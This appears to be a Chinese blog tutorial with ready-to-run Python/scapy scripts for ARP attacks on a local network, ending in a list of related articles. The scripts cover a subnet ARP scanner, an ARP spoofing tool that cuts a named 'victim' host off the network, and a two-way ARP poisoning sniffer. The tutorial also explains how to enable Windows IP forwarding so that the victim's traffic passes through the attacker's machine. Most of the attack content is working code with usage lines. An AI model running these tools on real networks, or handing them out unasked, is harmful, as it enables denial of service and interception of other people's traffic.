21.6 Python 构建ARP中间人数据包
ARP中间人攻击(ARP spoofing)是一种利用本地网络的ARP协议漏洞进行欺骗的攻击方式,攻击者会向目标主机发送虚假ARP响应包,使得目标主机的ARP缓存中的IP地址和MAC地址映射关系被篡改,从而使得目标主机将网络流量发送到攻击者指定的虚假MAC地址。攻击者可以在不被发现的情况下窃取目标主机的网络流量、信息等,也可以进行其他的恶意行为,如中间人攻击、监听等。
首先我们来实现一个简单的ARP扫描功能,要实现ARP探测功能很容易,如下代码中我们分别封装实现两个函数,函数Parse_IP用于传入一个IP地址字符串自动生成该网段内的所有主机数,函数ARP_Scan则用于发送ARP数据包,在构造时直接使用ARP函数即可,构造后通过sr1将其发送出去并等待返回结果。
from scapy.all import *
import argparse
import threading,time
import logging
# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
if __name__ == "__main__":
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
parser = argparse.ArgumentParser()
parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")
args = parser.parse_args()
# 使用方式: main.py -s 192.168.1.1/100
if args.scan:
addr_list = Parse_IP(args.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()
上述代码通过指定-s并传入一个地址网段192.168.9.0/24则自动计算该网段主机数,并依次对主机进行存活检测,输出效果图如下所示;

当我们能够得到内网中特定主机的IP地址以及MAC地址后,则下一步就可以使用ARP断网攻击了,该攻击原理是攻击者在目标网络中发送虚假的ARP响应包,使得目标设备误认为网关的MAC地址已经更改为攻击者的MAC地址,导致目标设备无法正常访问外部网络,从而达到网络断网的目的。
读者在使用ARP断网之前还是需要通过ipconfig /all命令确定当前网卡的网卡名称,如下图所示网卡描述则是我们需要的东西;

接着来看一下如何实现ARP断网攻击的,断网攻击的核心在于SendPayLoad函数,该函数每次调用都将发送两个数据包,第一个数据包用于伪造网关欺骗目标计算机我是网关,第二个数据包用于伪造被欺骗计算机,用于向网关表明身份,有了这两个数据包并配合多线程发包则此时被攻击主机将会出现网络无法连接的情况。
from scapy.all import *
import argparse
import threading,time
import logging
# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))
# 生成ARP数据包,伪造网关欺骗目标计算机
sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
# 生成ARP数据包,伪造目标计算机欺骗网关
sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入接口名")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")
args = parser.parse_args()
# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
if args.gateway and args.target:
srcMac = get_if_hwaddr(args.interface) # 通过接口名称获取本机MAC地址
tgtMac = getmacbyip(args.target) # 通过IP地址获取目标计算机的MAC地址
gatewayMac = getmacbyip(args.gateway) # 指定本机网段的网关MAC地址
while True:
t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
t.start()
t.join()
time.sleep(1)
else:
parser.print_help()
读者在调用时需要传入三个参数,首先通过-i传入网卡名称,接着通过-g指定当前网段内网关名称,使用-t用于指定被害主机地址,运行后如下图所示;

有了ARP断网接着就来实现ARP嗅探功能,针对断网攻击对于攻击者来说其实无法得到更多有用的数据,我们还是希望能够监控目标主机的数据包,并通过分析数据包得知一些特殊操作,为了实现这个功能,就需要改进断网程序让其具备嗅探的功能,要实现嗅探而不是断网则需要进行两步配置,首先需要开启注册表转发功能,此处可以输入命令regedit打开注册表编辑器,并在其中定位到:
- HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters
选择下面的项目IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1至此即可开启主机的IP数据路由功能。

接着读者还需要打开系统服务菜单,并找到Routing And RemoteAccess数据包转发服务,此处如果没有打开请自行将其开启,当开启后我们的主机将会具备路由转发功能,这样即可实现模拟路由器的效果。

嗅探的原理很简单,如下是一个完整的数据包嗅探工具,其中createArp2Station函数用于生成伪造网关的数据包用于欺骗客户端,createArp2Gateway函数则用于伪造目标主机数据包并欺骗网关,当有了这两个函数,再配合sniff抓包即可实现数据包的捕获,如果读者需要自行分析数据包来往则可以自定义Packet_CallBack回调函数实现。
import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
dst_Mac=str(getmacbyip(target_ip))
self_Mac=str(get_if_hwaddr(interface))
Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
try:
sendp(Ether_data,inter=2,iface=interface,loop=1)
except Exception as e:
print("目标ARP数据发送失败!")
# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
dst_Mac = getmacbyip(gateway_ip)
self_Mac = get_if_hwaddr(interface)
Ether_data = None
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
try:
sendp(Ether_data, inter=2,iface=interface,loop=1)
except Exception as e:
print("网关ARP数据发送失败!")
def Packet_CallBack(pkt):
if pkt.haslayer(IP):
if pkt.getlayer(IP).src != "127.0.0.1":
ip_src = pkt.getlayer(IP).src
ip_dst = pkt.getlayer(IP).dst
print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))
if __name__ == "__main__":
# 使用方式: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
parser = argparse.ArgumentParser()
parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")
parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")
parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
args = parser.parse_args()
if args.interface and args.target_ip and args.gateway:
try:
t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
t2.setDaemon(True)
t2.start()
sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
except Exception:
sys.exit(1)
while True:
pass
else:
parser.print_help()
读者可自行运行上述程序,并通过-i属性指定网卡名,通过-g属性指定网关地址,通过-t指定为被害主机地址,运行后读者即可看到被害主机的数据包流向信息,如下图所示;

此时被害主机的所有数据包都会经过我们的主机,读者可打开WireShark并启动抓包,此时输入输入不同的过滤语句,即可指定需要查看的数据包类型,此时我们就是实现了对特定主机的监控,当然这种监控数据包会掺杂我们自己的主机发出的,读者可自行编写过滤规则实现过滤;

21.6 Python 构建ARP中间人数据包的更多相关文章
- 从零开始学安全(四十二)●利用Wireshark分析ARP协议数据包
wireshark:是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料.Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,是目前 ...
- ETHERNET数据包格式( IP & UDP & ICMP & ARP )
ETHERNET数据包格式( IP & UDP & ICMP & ARP ) ETHERNET数据包格式 一.ETHERNET 数据包的协议类型 TYPE 的值为 0x0800 ...
- 承载于以太网帧之上的数据包的解析——ARP、IPv4、IPv6
承接上一博文而来,继续解析网络数据包,对于承载在以太网上的三种协议进行了解析,主要是分为依据RFC定义的标准先解析头部数据,然后得到有效载荷,即为协议包括的实体数据,更上层进行进一步处理. 一.ARP ...
- ARP数据包分析
转载请注明来源:https://www.cnblogs.com/hookjc/ 本机IP:192.168.0.1 (c0 a8 00 01)本机MAC:00-50-56-c0-00-01目标IP:19 ...
- 010 使用netmap API接管网卡,接收数据包,回应ARP请求
一.本文目的: 上一节中,我们已经在CentOS 6.7 上安装好了netmap,也能接收和发送包了,这节我们来调用netmap中的API,接管网卡,对网卡上收到的数据包做分析,并回应ARP请求. 二 ...
- 用Python构造ARP请求、扫描、欺骗
目录 0. ARP介绍 1. Scapy简述 2. Scapy简单演示 2.1 安装 2.2 构造包演示 2.2.1 进入kamene交互界面 2.2.2 查看以太网头部 2.2.3 查看 ICMP ...
- [置顶] NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析--吐血放送
NS2中对TCP数据包和ACK包的TCP Sink类的主要实现代码详尽剖析,限于个人水平,如有错误请留言指出! TcpSink类的recv()方法: void TcpSink::recv(Packet ...
- Linux 中的网络数据包捕获
Linux 中的网络数据包捕获 Ashish Chaurasia, 工程师 简介: 本教程介绍了捕获和操纵数据包的不同机制.安全应用程序,如 VPN.防火墙和嗅探器,以及网络应用程序,如路由程序,都依 ...
- python 脚本开发实战-当当亚马逊图书采集器转淘宝数据包
开发环境python2.7.9 os:win-xp exe打包工具pyinstaller 界面tkinter ============================================= ...
- ARP数据包伪造
一台网络中的计算机,其传递到网络中的数据包的内容是完全由其软硬件逻辑决定的,软件可以操控硬件,硬件亦是一种特殊的软件,所以,接收者只根据数据包的内容,绝不可能判定此数据包的真正来源,一切都是可以伪 ...
随机推荐
- 如何利用CCXT交易数字货币合约
更多精彩内容,欢迎关注公众号:数量技术宅,也可添加技术宅个人微信号:sljsz01,与我交流. 对于币圈量化老司机来说,相信或多或少都有接触过ccxt这个接口,ccxt为我们提供了多交易所统一的标准格 ...
- Codeforce 1335C - Two Teams Composing 统计技能种类数量+统计同一技能最大数量
7 4 2 4 1 4 3 4 统计技能种类数量 4种不同技能 统计同一技能最大数量 技能1(数量1) 技能2(数量1) 技能3(数量1) 技能4(数量4) 选出 技能4(数量4) 作为 第2组 扣除 ...
- 工作中使用Redis的10种场景
前言 Redis作为一种优秀的基于key/value的缓存,有非常不错的性能和稳定性,无论是在工作中,还是面试中,都经常会出现. 今天这篇文章就跟大家一起聊聊,我在实际工作中使用Redis的10种场景 ...
- 叮~OpenSCA社区拍了拍您并发来一份开源盛会邀请函
2023数字供应链安全大会(DSS 2023)将于8月10日在北京·国家会议中心举办.本次大会以"开源的力量"为主题,由悬镜安全主办,ISC互联网安全大会组委会.中国软件评测中心( ...
- 何时使用Kafka而不是RabbitMQ
Kafka 和 RabbitMQ 都是流行的开源消息系统,它们可以在分布式系统中实现数据的可靠传输和处理.Kafka 和 RabbitMQ 有各自的优势和特点,它们适用于不同的场景和需求.本文将比较 ...
- liunx基础概述
一.liunx起源 1.1991,芬兰研究生Liunus Torvalds编写了liunx的代码,并上传到互联网 2.Liunx基于UNIX,但是有别与UNIX 3.Liunx的软件产品使用了社区开发 ...
- mybatis plus 获取新增实体的主键
转载请注明出处: mybatis plus 新增实体对象调用的是 IService 接口中的 save 方法: default boolean save(T entity) { return SqlH ...
- [java] - 数据库连接工具类
package util; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLExceptio ...
- MyBatis02:CRUD操作
CRUD操作 namespace 这个是命名空间,不可缺少,更不能写错 配置文件中namespace中的名称为对应Mapper接口或者Dao接口的全限定类名,完整包名,必须一致! Select(用于查 ...
- [转帖]ntp导致的时钟回拨
https://zhuanlan.zhihu.com/p/587313130 我们的服务器时间校准一般是通过ntp进程去校准的.但由于校准这个动作,会导致时钟跳跃变化的现象.而这种情况里面,往往回拨最 ...